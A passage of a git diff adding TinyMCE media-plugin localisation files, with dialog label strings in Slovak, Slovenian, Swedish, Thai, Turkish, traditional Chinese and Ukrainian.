str\u00e1n",imagestatus:"Stav obrazu",center:"Na stred",autogotourl:"Automatick\u00fd prechod na URL","shockwave_options":"Mo\u017enosti Shockwave","rmp_options":"Mo\u017enosti prehr\u00e1va\u010da Real media","wmp_options":"Mo\u017enosti prehr\u00e1va\u010da Windows media","qt_options":"Mo\u017enosti Quicktime","flash_options":"Mo\u017enosti Flashu",hidden:"Skry\u0165","align_bottom_left":"Dolu v\u013eavo","align_bottom_right":"Dolu vpravo",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Mo\u017enosti vlo\u017een\u00e9ho audio s\u00faboru",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"audio",video:"video","html5_video_options":"Mo\u017enosti HTML5 video",altsource1:"Alternat\u00edvny zdroj 1",altsource2:"Alternat\u00edvny zdroj 2",preload:"Predna\u010d\u00edtanie",poster:"Obr\u00e1zok (zobraz\u00ed sa pri nedostupnosti videa)",source:"Zdroj","html5_audio_options":"Vlastnosti audia","preload_none":"Nepred\u010d\u00edtaj","preload_metadata":"Nepred\u010d\u00edtaj meta-\u00fadaje videa","preload_auto":"Ponechajte vo\u013eba pri v\u00fdbere prehliada\u010da na u\u017e\u00edvate\u013eovi",iframe:"iframe",embeddedaudio:"embeddedaudio"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/sl_dlg.js b/js/tiny_mce/plugins/media/langs/sl_dlg.js new file mode 100755 index 0000000..fc02c62 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/sl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sl.media_dlg',{list:"Seznam",file:"Datoteka/URL",advanced:"Napredno",general:"Splo\u0161no",title:"Vstavi / uredi multimedijsko vsebino","align_top_left":"zgoraj levo","align_center":"sredina","align_left":"levo","align_bottom":"spodaj","align_right":"desno","align_top":"zgoraj","qt_stream_warn":"V polje \"QT vir\" pod zavihkom napredno, morajo biti dodani preto\u010dni RTSP viri.\nNepreto\u010dna razli\u010dica mora biti dodana v polje \"vir\".",qtsrc:"QT vir",progress:"Napredek",sound:"Zvok",swstretchvalign:"raztegni n-poravnano",swstretchhalign:"raztegni v-poravnano",swstretchstyle:"Slog raztegovanja",scriptcallbacks:"Povratni klici","align_top_right":"zgoraj desno",uimode:"Na\u010din uporabni\u0161kega vmesnika",rate:"Ocena",playcount:"\u0160tevilo predvajanj",defaultframe:"Privzeti okvir",currentposition:"Trenutni polo\u017eaj",currentmarker:"Trenutna oznaka",captioningid:"Oznaka podnapisov",baseurl:"Temeljni URL",balance:"Ravnovesje",windowlessvideo:"Video brez okna",stretchtofit:"Raz\u0161iri",mute:"Uti\u0161aj",invokeurls:"Naslovi URLje",fullscreen:"Cel zaslon",enabled:"Omogo\u010deno",autostart:"Samodejno predvajaj",volume:"Glasnost",target:"Cilj",qtsrcchokespeed:"Hitrost predpomnenja",href:"Povezava",endtime:"Kon\u010dni \u010das",starttime:"Za\u010detni \u010das",enablejavascript:"Omogo\u010di JavaScript",correction:"Brez popravkov",targetcache:"Ciljno predpomnjenje",playeveryframe:"Predvajaj vsak okvir",kioskmode:"Kiosk na\u010din",controller:"Nadzorni element",menu:"Prika\u017ei meni",loop:"Ponavljaj",play:"Samodejno predvajaj",hspace:"H-razmik",vspace:"V-razmik","class_name":"Razred",name:"Ime",id:"Id",type:"Tip",size:"Dimenzije",preview:"Predogled","constrain_proportions":"Obdr\u017ei razmerje",controls:"Nadzorni elementi",numloop:"\u0160t. zank",console:"Konzola",cache:"Predpomnjenje",autohref:"Avtomatska povezava",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"Osnova",bgcolor:"Ozadje",wmode:"WM na\u010din",salign:"S-poravnava",align:"Poravnava",scale:"Stopnja pove\u010dave",quality:"Kakovost",shuffle:"Pome\u0161aj",prefetch:"Predpomnenje",nojava:"Brez Jave",maintainaspect:"Zakleni razmerje",imagestatus:"Slika stanja",center:"Sredina",autogotourl:"Samodejno na URL","shockwave_options":"Mo\u017enosti Shockwave","rmp_options":"Mo\u017enosti Real media player","wmp_options":"Mo\u017enosti Windows media player","qt_options":"Mo\u017enosti Quicktime","flash_options":"Mo\u017enosti Flash",hidden:"Skrito","align_bottom_left":"spodaj levo","align_bottom_right":"spodaj desno",flash:"flash",quicktime:"quicktime","embedded_audio_options":"Nastavitve za vstavljeni zvok",windowsmedia:"windowsmedia",realmedia:"realmedia",shockwave:"shockwave",audio:"audio",video:"video","html5_video_options":"HTML5 video nastavitve",altsource1:"Alternativni vir 1",altsource2:"Alternativni vir 2",preload:"Predpomnenje",poster:"Poster",source:"Vir","html5_audio_options":"Nastavitve za zvok","preload_none":"Brez prednalaganja","preload_metadata":"Prednalo\u017ei mata podatke za video ","preload_auto":"Privzeta nastavitev brskalnika",iframe:"iframe",embeddedaudio:"embeddedaudio"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/sv_dlg.js b/js/tiny_mce/plugins/media/langs/sv_dlg.js new file mode 100755 index 0000000..3f38466 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/sv_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('sv.media_dlg',{list:"Lista",file:"Fil/URL",advanced:"Avancerat",general:"Generellt",title:"Infoga/redigera inb\u00e4ddad media","align_top_left":"Top left","align_center":"Center","align_left":"Left","align_bottom":"Bottom","align_right":"Right","align_top":"Top","qt_stream_warn":"Streamed rtsp resources should be added to the QT Src field under the advanced tab.\nYou should also add a non streamed version to the Src field..",qtsrc:"QT Src",progress:"Progress",sound:"Sound",swstretchvalign:"Stretch V-Align",swstretchhalign:"Stretch H-Align",swstretchstyle:"Stretch style",scriptcallbacks:"Script callbacks","align_top_right":"Top right",uimode:"UI Mode",rate:"Rate",playcount:"Play count",defaultframe:"Default frame",currentposition:"Current position",currentmarker:"Current marker",captioningid:"Captioning id",baseurl:"Base URL",balance:"Balance",windowlessvideo:"Windowless video",stretchtofit:"Stretch to fit",mute:"Mute",invokeurls:"Invoke URLs",fullscreen:"Fullsk\u00e4rm",enabled:"Enabled",autostart:"Starta automatiskt",volume:"Volym",target:"Target",qtsrcchokespeed:"Choke speed",href:"Href",endtime:"End time",starttime:"Start time",enablejavascript:"Enable JavaScript",correction:"No correction",targetcache:"Target cache",playeveryframe:"Spela varje bildruta",kioskmode:"Kiosk mode",controller:"Controller",menu:"Visa menyn",loop:"Loopa",play:"Spela upp automatiskt",hspace:"H-Space",vspace:"V-Space","class_name":"Klass",name:"Namn",id:"Id",type:"Typ",size:"Dimensioner",preview:"F\u00f6rhandsvisning","constrain_proportions":"Bibeh\u00e5ll proportionerna",controls:"Controls",numloop:"Num loops",console:"Console",cache:"Cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"Base",bgcolor:"Bakgrundsf\u00e4rg",wmode:"WMode",salign:"SAlign",align:"Justera",scale:"Skala",quality:"Kvalit\u00e9",shuffle:"Shuffle",prefetch:"Prefetch",nojava:"No java",maintainaspect:"Maintain aspect",imagestatus:"Image status",center:"Center",autogotourl:"Auto goto URL","shockwave_options":"Inst\u00e4llningar f\u00f6r Shockwave","rmp_options":"Real media player options","wmp_options":"Windows media player options","qt_options":"Quicktime options","flash_options":"Flash options",hidden:"Hidden","align_bottom_left":"Bottom left","align_bottom_right":"Bottom right",flash:"flash",quicktime:"quicktime ","embedded_audio_options":"Inst\u00e4llningar f\u00f6r inb\u00e4ddatljud",windowsmedia:"windowsmedia ",realmedia:"realmedia ",shockwave:"shockwave ",audio:"ljud",video:"video","html5_video_options":"HTML5 Filmegenskaper",altsource1:"Alternativk\u00e4lla 1",altsource2:"Alternativk\u00e4lla 2",preload:"Preload",poster:"Poster",source:"Source","html5_audio_options":"Ljudinst\u00e4llningar","preload_none":"F\u00f6rladda inte","preload_metadata":"F\u00f6rladda metadata","preload_auto":"L\u00e5t webbl\u00e4saren v\u00e4lja",iframe:"iframe",embeddedaudio:"inb\u00e4ddat ljud"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/th_dlg.js b/js/tiny_mce/plugins/media/langs/th_dlg.js new file mode 100755 index 0000000..091d4b8 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/th_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('th.media_dlg',{list:"\u0e23\u0e32\u0e22\u0e01\u0e32\u0e23",file:"\u0e44\u0e1f\u0e25\u0e4c/URL",advanced:"\u0e02\u0e31\u0e49\u0e19\u0e2a\u0e39\u0e07",general:"\u0e17\u0e31\u0e48\u0e27\u0e44\u0e1b",title:"\u0e40\u0e1e\u0e34\u0e48\u0e21 / \u0e41\u0e01\u0e49\u0e44\u0e02 \u0e21\u0e35\u0e40\u0e14\u0e35\u0e22","align_top_left":"\u0e1a\u0e19 \u0e0b\u0e49\u0e32\u0e22","align_center":"\u0e01\u0e25\u0e32\u0e07","align_left":"\u0e0b\u0e49\u0e32\u0e22","align_bottom":"\u0e25\u0e48\u0e32\u0e07","align_right":"\u0e02\u0e27\u0e32","align_top":"\u0e1a\u0e19","qt_stream_warn":"Streamed rtsp resources should be added to the QT Src field under the advanced tab.\nYou should also add a non streamed version to the Src field..",qtsrc:"QT Src",progress:"Progress",sound:"Sound",swstretchvalign:"Stretch V-Align",swstretchhalign:"Stretch H-Align",swstretchstyle:"Stretch style",scriptcallbacks:"Script callbacks","align_top_right":"\u0e1a\u0e19 \u0e02\u0e27\u0e32",uimode:"UI Mode",rate:"Rate",playcount:"Play count",defaultframe:"Default frame",currentposition:"Current position",currentmarker:"Current marker",captioningid:"Captioning id",baseurl:"Base URL",balance:"Balance",windowlessvideo:"Windowless video",stretchtofit:"Stretch to fit",mute:"Mute",invokeurls:"Invoke URLs",fullscreen:"Fullscreen",enabled:"Enabled",autostart:"\u0e40\u0e25\u0e48\u0e19\u0e2d\u0e31\u0e15\u0e42\u0e19\u0e21\u0e31\u0e15\u0e34",volume:"Volume",target:"\u0e40\u0e1b\u0e49\u0e32\u0e2b\u0e21\u0e32\u0e22",qtsrcchokespeed:"Choke speed",href:"Href",endtime:"End time",starttime:"Start time",enablejavascript:"Enable JavaScript",correction:"No correction",targetcache:"\u0e40\u0e1b\u0e49\u0e32\u0e2b\u0e21\u0e32\u0e22 cache",playeveryframe:"Play every frame",kioskmode:"Kiosk mode",controller:"\u0e41\u0e1c\u0e07\u0e04\u0e27\u0e1a\u0e04\u0e38\u0e21",menu:"\u0e41\u0e2a\u0e14\u0e07\u0e40\u0e21\u0e19\u0e39",loop:"\u0e40\u0e25\u0e48\u0e19\u0e0b\u0e49\u0e33",play:"\u0e40\u0e25\u0e48\u0e19\u0e2d\u0e31\u0e15\u0e42\u0e19\u0e21\u0e31\u0e15\u0e34",hspace:"\u0e23\u0e30\u0e22\u0e30\u0e2b\u0e48\u0e32\u0e07\u0e41\u0e19\u0e27\u0e19\u0e2d\u0e19",vspace:"\u0e23\u0e30\u0e22\u0e30\u0e2b\u0e48\u0e32\u0e07\u0e41\u0e19\u0e27\u0e15\u0e31\u0e49\u0e07","class_name":"\u0e04\u0e25\u0e32\u0e2a",name:"\u0e0a\u0e37\u0e48\u0e2d",id:"Id",type:"\u0e0a\u0e19\u0e34\u0e14",size:"\u0e15\u0e33\u0e41\u0e2b\u0e19\u0e48\u0e07",preview:"\u0e14\u0e39\u0e15\u0e31\u0e27\u0e2d\u0e22\u0e48\u0e32\u0e07","constrain_proportions":"\u0e04\u0e07\u0e2d\u0e31\u0e15\u0e23\u0e32\u0e2a\u0e48\u0e27\u0e19",controls:"Controls",numloop:"Num loops",console:"Console",cache:"Cache",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flashvars",base:"Base",bgcolor:"\u0e1e\u0e37\u0e49\u0e19\u0e2b\u0e25\u0e31\u0e07",wmode:"WMode",salign:"SAlign",align:"Align",scale:"\u0e02\u0e19\u0e32\u0e14",quality:"\u0e04\u0e27\u0e32\u0e21\u0e25\u0e30\u0e40\u0e2d\u0e35\u0e22\u0e14",shuffle:"Shuffle",prefetch:"Prefetch",nojava:"No java",maintainaspect:"Maintain aspect",imagestatus:"Image status",center:"Center",autogotourl:"Auto goto URL","shockwave_options":"Shockwave options","rmp_options":"Real media player options","wmp_options":"Windows media player options","qt_options":"Quicktime options","flash_options":"Flash options",hidden:"Hidden","align_bottom_left":"\u0e25\u0e48\u0e32\u0e07 \u0e0b\u0e49\u0e32\u0e22","align_bottom_right":"\u0e25\u0e48\u0e32\u0e07 \u0e02\u0e27\u0e32","embedded_audio_options":"Embedded Audio Options","html5_video_options":"HTML5 Video Options",altsource1:"Alternative source 1",altsource2:"Alternative source 2",preload:"Preload",poster:"Poster",source:"Source","html5_audio_options":"Audio Options","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide",flash:"",quicktime:"",windowsmedia:"",realmedia:"",shockwave:"",audio:"",video:"",iframe:"",embeddedaudio:""}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/tr_dlg.js b/js/tiny_mce/plugins/media/langs/tr_dlg.js new file mode 100755 index 0000000..97edad9 --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/tr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tr.media_dlg',{list:"Listele",file:"Dosya/URL",advanced:"Geli\u015fmi\u015f",general:"Genel",title:"T\u00fcmle\u015fik medya ekle / d\u00fczenle","align_top_left":"Sol \u00fcst","align_center":"Orta","align_left":"Sol","align_bottom":"Alt","align_right":"Sa\u011f","align_top":"\u00dcst","qt_stream_warn":"Ak\u0131\u015f rtsp kaynaklar\u0131 geli\u015fmi\u015f alt\u0131ndaki QT Kay. alan\u0131na girilmeli.\nKay. alan\u0131na ayr\u0131ca ak\u0131\u015fkan olmayan eklenir.",qtsrc:"QT Kay.",progress:"\u0130lerle",sound:"Ses",swstretchvalign:"Esnetme D-Hiza",swstretchhalign:"Esnetme Y-Hiza",swstretchstyle:"Esnetme stili",scriptcallbacks:"Script \u00e7a\u011f\u0131r","align_top_right":"Sa\u011f \u00fcst",uimode:"UI Modu",rate:"Oran",playcount:"Oynatma say\u0131s\u0131",defaultframe:"Varsay\u0131lan \u00e7er\u00e7eve",currentposition:"Se\u00e7ili konum",currentmarker:"Se\u00e7ili i\u015faret\u00e7i",captioningid:"Ba\u015fl\u0131k id",baseurl:"Ge\u00e7erli URL",balance:"Denge",windowlessvideo:"Penceresiz video",stretchtofit:"S\u0131\u011facak \u015fekilde boyutland\u0131r",mute:"Sessiz",invokeurls:"Ba\u015flatma URL\'si",fullscreen:"Tam ekran",enabled:"Aktif",autostart:"Otomatik ba\u015flat",volume:"Ses d\u00fczeyi",target:"Hedef",qtsrcchokespeed:"S\u0131k\u0131\u015ft\u0131rma h\u0131z\u0131",href:"Href",endtime:"Biti\u015f zaman\u0131",starttime:"Ba\u015flang\u0131\u00e7 zaman\u0131",enablejavascript:"Javascript Aktif",correction:"D\u00fczeltme yok",targetcache:"Hedef \u00f6nbellek",playeveryframe:"Her \u00e7er\u00e7eveyi oynat",kioskmode:"Kiosk modu",controller:"Kontroller",menu:"Men\u00fcy\u00fc g\u00f6ster",loop:"D\u00f6nd\u00fcr",play:"Otomatik oynat",hspace:"Yatay bo\u015fluk",vspace:"Dikey bo\u015fluk","class_name":"S\u0131n\u0131f",name:"\u0130sim",id:"Id",type:"Tip",size:"Boyutlar",preview:"\u00d6nizleme","constrain_proportions":"Oran\u0131 s\u0131n\u0131rla",controls:"Kontroller",numloop:"D\u00f6ng\u00fc say\u0131s\u0131",console:"Konsol",cache:"\u00d6nbellek",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flash de\u011fi\u015fkeni",base:"Taban",bgcolor:"Arkaplan",wmode:"WModu",salign:"SHizala",align:"Hizala",scale:"\u00d6l\u00e7ek",quality:"Kalite",shuffle:"Kar\u0131\u015ft\u0131r",prefetch:"\u00d6n belle\u011fe al",nojava:"Java yok",maintainaspect:"Orant\u0131y\u0131 koru",imagestatus:"Resim durumu",center:"Orta",autogotourl:"URL\'e otomatik git","shockwave_options":"Shockware se\u00e7enekleri","rmp_options":"Real media player se\u00e7enekleri","wmp_options":"Windows media player se\u00e7enekleri","qt_options":"Quicktime se\u00e7enekleri","flash_options":"Flash se\u00e7enekleri",hidden:"Gizli","align_bottom_left":"Sol alt","align_bottom_right":"Sa\u011f alt","embedded_audio_options":"G\u00f6m\u00fcl\u00fc Ses Ayarlar\u0131","html5_video_options":"HTML5 Video Ayarlar\u0131",altsource1:"Alternatif Kaynak 1",altsource2:"Alternatif Kaynak 2",preload:"\u00d6ny\u00fckleme",poster:"Poster",source:"Kaynak","html5_audio_options":"Ses Ayarlar\u0131","preload_none":"\u00d6ny\u00fckleme Yapma","preload_metadata":"Vide metadata \u00f6ny\u00fckleme","preload_auto":"Kullan\u0131c\u0131n\u0131n taray\u0131c\u0131s\u0131 karar versin"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/tw_dlg.js b/js/tiny_mce/plugins/media/langs/tw_dlg.js new file mode 100755 index 0000000..a28423a --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('tw.media_dlg',{list:"\u5217\u8868",file:"\u5a92\u9ad4URL",advanced:"\u9032\u968e",general:"\u4e00\u822c",title:"\u63d2\u5165/\u7de8\u8f2f\u5a92\u9ad4","align_top_left":"\u5de6\u4e0a","align_center":"\u7f6e\u4e2d","align_left":"\u9760\u5de6","align_bottom":"\u9760\u4e0b","align_right":"\u9760\u53f3","align_top":"\u9760\u4e0a","qt_stream_warn":"\u4e32\u6d41\u5a92\u9ad4rtsp\u8cc7\u6e90\u61c9\u8a72\u52a0\u5230\u300c\u9032\u968e\u300d\u4e2dQT src\u3002 \n\u540c\u6642\u589e\u52a0\u975e\u4e32\u6d41\u5a92\u9ad4\u8cc7\u6e90\u5230src\u3002",qtsrc:"QT Src",progress:"\u9032\u5ea6",sound:"\u8072\u97f3",swstretchvalign:"\u7e2e\u653e\u81f3\u5782\u76f4\u5c0d\u9f4a",swstretchhalign:"\u7e2e\u653e\u81f3\u6c34\u5e73\u5c0d\u9f4a",swstretchstyle:"\u7e2e\u653e\u6a23\u5f0f",scriptcallbacks:"Script \u547c\u53eb","align_top_right":"\u53f3\u4e0a",uimode:"\u5916\u89c0\u6a21\u5f0f",rate:"\u6bd4\u7387",playcount:"\u64ad\u653e\u6b21\u6578",defaultframe:"\u9810\u8a2d\u756b\u9762",currentposition:"\u76ee\u524d\u4f4d\u7f6e",currentmarker:"\u76ee\u524d\u6a19\u8a18",captioningid:"\u5b57\u5e55\u7de8\u865f",baseurl:"\u57fa\u5e95 URL",balance:"\u5e73\u8861",windowlessvideo:"\u7121\u8996\u7a97\u64ad\u653e",stretchtofit:"\u7e2e\u653e\u81f3\u9069\u5408\u5927\u5c0f",mute:"\u975c\u97f3",invokeurls:"\u5f15\u7528\u7684 URLs",fullscreen:"\u5168\u87a2\u5e55",enabled:"\u53ef\u7528",autostart:"\u81ea\u52d5\u64ad\u653e",volume:"\u97f3\u91cf",target:"\u76ee\u6a19",qtsrcchokespeed:"\u963b\u585e\u901f\u5ea6",href:"\u8d85\u9023\u7d50",endtime:"\u7d50\u675f\u6642\u9593",starttime:"\u958b\u59cb\u6642\u9593",enablejavascript:"\u555f\u7528 JavaScript",correction:"\u4fee\u6b63",targetcache:"\u76ee\u6a19\u66ab\u5b58",playeveryframe:"\u9010\u756b\u9762\u64ad\u653e",kioskmode:"Kiosk\u6a21\u5f0f",controller:"\u63a7\u5236\u9762\u677f",menu:"\u986f\u793a\u9078\u9805",loop:"\u5faa\u74b0",play:"\u81ea\u52d5\u64ad\u653e",hspace:"\u6c34\u5e73\u9593\u8ddd",vspace:"\u5782\u76f4\u9593\u8ddd","class_name":"\u985e\u5225",name:"\u540d\u7a31",id:"ID",type:"\u985e\u578b",size:"\u5927\u5c0f",preview:"\u9810\u89bd","constrain_proportions":"\u9396\u5b9a\u6bd4\u4f8b",controls:"\u63a7\u5236",numloop:"\u5faa\u74b0\u6b21\u6578",console:"\u63a7\u5236\u53f0",cache:"\u66ab\u5b58",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flash \u8b8a\u6578",base:"\u57fa\u5e95",bgcolor:"\u80cc\u666f\u8272",wmode:"\u8996\u7a97\u6a21\u5f0f",salign:"SAlign",align:"\u5c0d\u9f4a",scale:"\u7e2e\u653e",quality:"\u54c1\u8cea",shuffle:"\u96a8\u6a5f",prefetch:"\u9810\u5148\u8f09\u5165",nojava:"No Java",maintainaspect:"\u9396\u5b9a\u6bd4\u4f8b",imagestatus:"\u5716\u7247\u72c0\u614b",center:"\u7f6e\u4e2d",autogotourl:"\u81ea\u52d5\u8f49\u81f3 URL","shockwave_options":"Shockwave \u9078\u9805","rmp_options":"Real Media Player \u9078\u9805","wmp_options":"Windows Media Player \u9078\u9805","qt_options":"Quick Time \u9078\u9805","flash_options":"Flash \u9078\u9805",hidden:"\u96b1\u85cf","align_bottom_left":"\u5de6\u4e0b","align_bottom_right":"\u53f3\u4e0b","html5_video_options":"HTML5 Video Options",altsource1:"Alternative source 1",altsource2:"Alternative source 2",preload:"Preload",poster:"Poster",source:"Source","html5_audio_options":"Audio Options","preload_none":"Don\'t Preload","preload_metadata":"Preload video metadata","preload_auto":"Let user\'s browser decide"}); \ No newline at end of file diff --git a/js/tiny_mce/plugins/media/langs/uk_dlg.js b/js/tiny_mce/plugins/media/langs/uk_dlg.js new file mode 100755 index 0000000..6c3b60c --- /dev/null +++ b/js/tiny_mce/plugins/media/langs/uk_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('uk.media_dlg',{list:"\u0421\u043f\u0438\u0441\u043e\u043a",file:"\u0424\u0430\u0439\u043b/URL",advanced:"\u0414\u043e\u0434\u0430\u0442\u043a\u043e\u0432\u043e",general:"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0435",title:"\u0412\u0441\u0442\u0430\u0432\u0438\u0442\u0438 / \u0440\u0435\u0434\u0430\u0433\u0443\u0432\u0430\u0442\u0438 \u0432\u0431\u0443\u0434\u043e\u0432\u0430\u043d\u0456 \u043c\u0435\u0434\u0456\u0430","align_top_left":"\u0417\u0432\u0435\u0440\u0445\u0443 \u0437\u043b\u0456\u0432\u0430","align_center":"\u0426\u0435\u043d\u0442\u0440","align_left":"\u041b\u0456\u0432\u043e","align_bottom":"\u041d\u0438\u0437","align_right":"\u041f\u0440\u0430\u0432\u043e","align_top":"\u0412\u0435\u0440\u0445","qt_stream_warn":"Streamed rtsp resources should be added to the QT Src field under the advanced tab.\nYou should also add a non streamed version to the Src field..",qtsrc:"\u0414\u0436\u0435\u0440\u0435\u043b\u043e QT",progress:"\u0425\u0456\u0434",sound:"\u0417\u0432\u0443\u043a",swstretchvalign:"\u0420\u043e\u0437\u0442\u044f\u0433\u043d\u0443\u0442\u0438 \u0432\u0435\u0440\u0442. \u0432\u0438\u0440\u0456\u0432\u043d\u044e\u0430\u043d\u043d\u044f",swstretchhalign:"\u0420\u043e\u0437\u0442\u044f\u0433\u043d\u0443\u0442\u0438 \u0433\u043e\u0440\u0438\u0437. \u0432\u0438\u0440\u0456\u0432\u043d\u044e\u0430\u043d\u043d\u044f",swstretchstyle:"\u0420\u043e\u0437\u0442\u044f\u0433\u043d\u0443\u0442\u0438\u0439 \u0441\u0442\u0438\u043b\u044c",scriptcallbacks:"\u0417\u0432\u043e\u0440\u043e\u0442\u043d\u0456\u0439 \u0432\u0438\u043a\u043b\u0438\u043a \u0441\u0446\u0435\u043d\u0430\u0440\u0456\u044e","align_top_right":"\u0417\u0432\u0435\u0440\u0445\u0443 \u0437\u043f\u0440\u0430\u0432\u0430",uimode:"\u0420\u0435\u0436\u0438\u043c \u0456\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443",rate:"\u0428\u0432\u0438\u0434\u043a\u0456\u0441\u0442\u044c",playcount:"\u041a\u0456\u043b\u044c\u043a\u0456\u0441\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u0432\u0430\u043d\u044c",defaultframe:"\u041a\u0430\u0434\u0440 \u0437\u0430 \u0437\u0430\u043c\u043e\u0432\u0447\u0430\u043d\u043d\u044f\u043c",currentposition:"\u041f\u043e\u0442\u043e\u0447\u043d\u0430 \u043f\u043e\u0437\u0438\u0446\u0456\u044f",currentmarker:"\u041f\u043e\u0442\u043e\u0447\u043d\u0438\u0439 \u043c\u0430\u0440\u043a\u0435\u0440",captioningid:"\u0406\u0434\u0435\u043d\u0442\u0438\u0444\u0456\u043a\u0430\u0442\u043e\u0440 \u043d\u0430\u0434\u043f\u0438\u0441\u0443",baseurl:"\u041e\u0441\u043d\u043e\u0432\u043d\u0435 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",balance:"\u0411\u0430\u043b\u0430\u043d\u0441",windowlessvideo:"Windowless video",stretchtofit:"\u0417\u043c\u0435\u043d\u0448\u0438\u0442\u0438, \u0449\u043e\u0431 \u0432\u043c\u0456\u0441\u0442\u0438\u043b\u043e\u0441\u044c",mute:"\u0417\u0430\u0433\u043b\u0443\u0448\u0438\u0442\u0438",invokeurls:"\u0412\u0438\u043a\u043b\u0438\u043a\u0430\u0442\u0438 URLs",fullscreen:"\u041f\u043e\u0432\u043d\u0438\u0439 \u0435\u043a\u0440\u0430\u043d",enabled:"\u0414\u043e\u0437\u0432\u043e\u043b\u0435\u043d\u0438\u0439",autostart:"\u0410\u0432\u0442\u043e\u0441\u0442\u0430\u0440\u0442",volume:"\u0413\u0443\u0447\u043d\u0456\u0441\u0442\u044c",target:"\u0426\u0456\u043b\u044c",qtsrcchokespeed:"\u0428\u0432\u0438\u0434\u043a\u0456\u0441\u0442\u044c \u0437\u0430\u0433\u0430\u0441\u0430\u043d\u043d\u044f",href:"\u041f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",endtime:"\u0427\u0430\u0441 \u043a\u0456\u043d\u0446\u044f",starttime:"\u0427\u0430\u0441 \u043f\u043e\u0447\u0430\u0442\u043a\u0443",enablejavascript:"\u0414\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u0438 JavaScript",correction:"\u0411\u0435\u0437 \u043a\u043e\u0440\u0435\u043a\u0446\u0456\u0457",targetcache:"\u0426\u0456\u043b\u044c\u043e\u0432\u0438\u0439 \u043a\u0435\u0448",playeveryframe:"\u041f\u0440\u043e\u0433\u0440\u0430\u0432\u0430\u0442\u0438 \u043a\u043e\u0436\u0435\u043d \u043a\u0430\u0434\u0440",kioskmode:"\u041f\u043e\u0432\u043d\u043e\u0435\u043a\u0440\u0430\u043d\u043d\u0438\u0439 \u0440\u0435\u0436\u0438\u043c",controller:"\u041a\u043e\u043d\u0442\u0440\u043e\u043b\u0435\u0440",menu:"\u041f\u043e\u043a\u0430\u0437\u0443\u0432\u0430\u0442\u0438 \u043c\u0435\u043d\u044e",loop:"\u041f\u043e\u0432\u0442\u043e\u0440\u044e\u0432\u0430\u0442\u0438",play:"\u0410\u0432\u0442\u043e\u043f\u0440\u043e\u0433\u0440\u0430\u0432\u043d\u043d\u044f",hspace:"\u0433\u043e\u0440.\u0432\u0456\u0434\u0441\u0442\u0443\u043f",vspace:"\u0432\u0435\u0440\u0442.\u0432\u0456\u0434\u0441\u0442\u0443\u043f","class_name":"\u041a\u043b\u0430\u0441",name:"\u041d\u0430\u0437\u0432\u0430",id:"\u0406\u0434\u0435\u043d\u0442\u0438\u0444\u0456\u043a\u0430\u0442\u043e\u0440",type:"\u0422\u0438\u043f",size:"\u0420\u043e\u0437\u043c\u0456\u0440\u0438",preview:"\u041f\u0435\u0440\u0435\u0433\u043b\u044f\u0434","constrain_proportions":"\u0417\u0431\u0435\u0440\u0456\u0433\u0430\u0442\u0438 \u043f\u0440\u043e\u043f\u043e\u0440\u0446\u0456\u0457",controls:"\u041a\u0435\u0440\u0443\u0432\u0430\u043d\u043d\u044f",numloop:"\u041a\u0456\u043b\u044c\u043a\u0456\u0441\u0442\u044c \u0446\u0438\u043a\u043b\u0456\u0432",console:"\u041a\u043e\u043d\u0441\u043e\u043b\u044c",cache:"\u041a\u0435\u0448",autohref:"AutoHREF",liveconnect:"SWLiveConnect",flashvars:"Flash-\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0438",base:"\u0411\u0430\u0437\u0430",bgcolor:"\u0424\u043e\u043d",wmode:"W-\u0440\u0435\u0436\u0438\u043c",salign:"S-\u0412\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f",align:"\u0412\u0438\u0440\u0456\u0432\u043d\u044e\u0432\u0430\u043d\u043d\u044f",scale:"\u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0443\u0432\u0430\u043d\u043d\u044f",quality:"\u042f\u043a\u0456\u0441\u0442\u044c",shuffle:"\u041f\u0435\u0440\u0435\u0442\u0430\u0441\u0443\u0432\u0430\u0442\u0438",prefetch:"\u041f\u043e\u043f\u0435\u0440\u0435\u0434\u043d\u0454 \u0432\u0438\u043b\u0443\u0447\u0435\u043d\u043d\u044f",nojava:"\u0411\u0435\u0437 Java",maintainaspect:"\u0412\u0434\u0435\u0440\u0436\u0443\u0432\u0430\u0442\u0438 \u0440\u0430\u043a\u0443\u0440\u0441",imagestatus:"\u0421\u0442\u0430\u0442\u0443\u0441 \u0437\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u043d\u044f",center:"\u041f\u043e \u0446\u0435\u043d\u0442\u0440\u0443",autogotourl:"\u041f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f 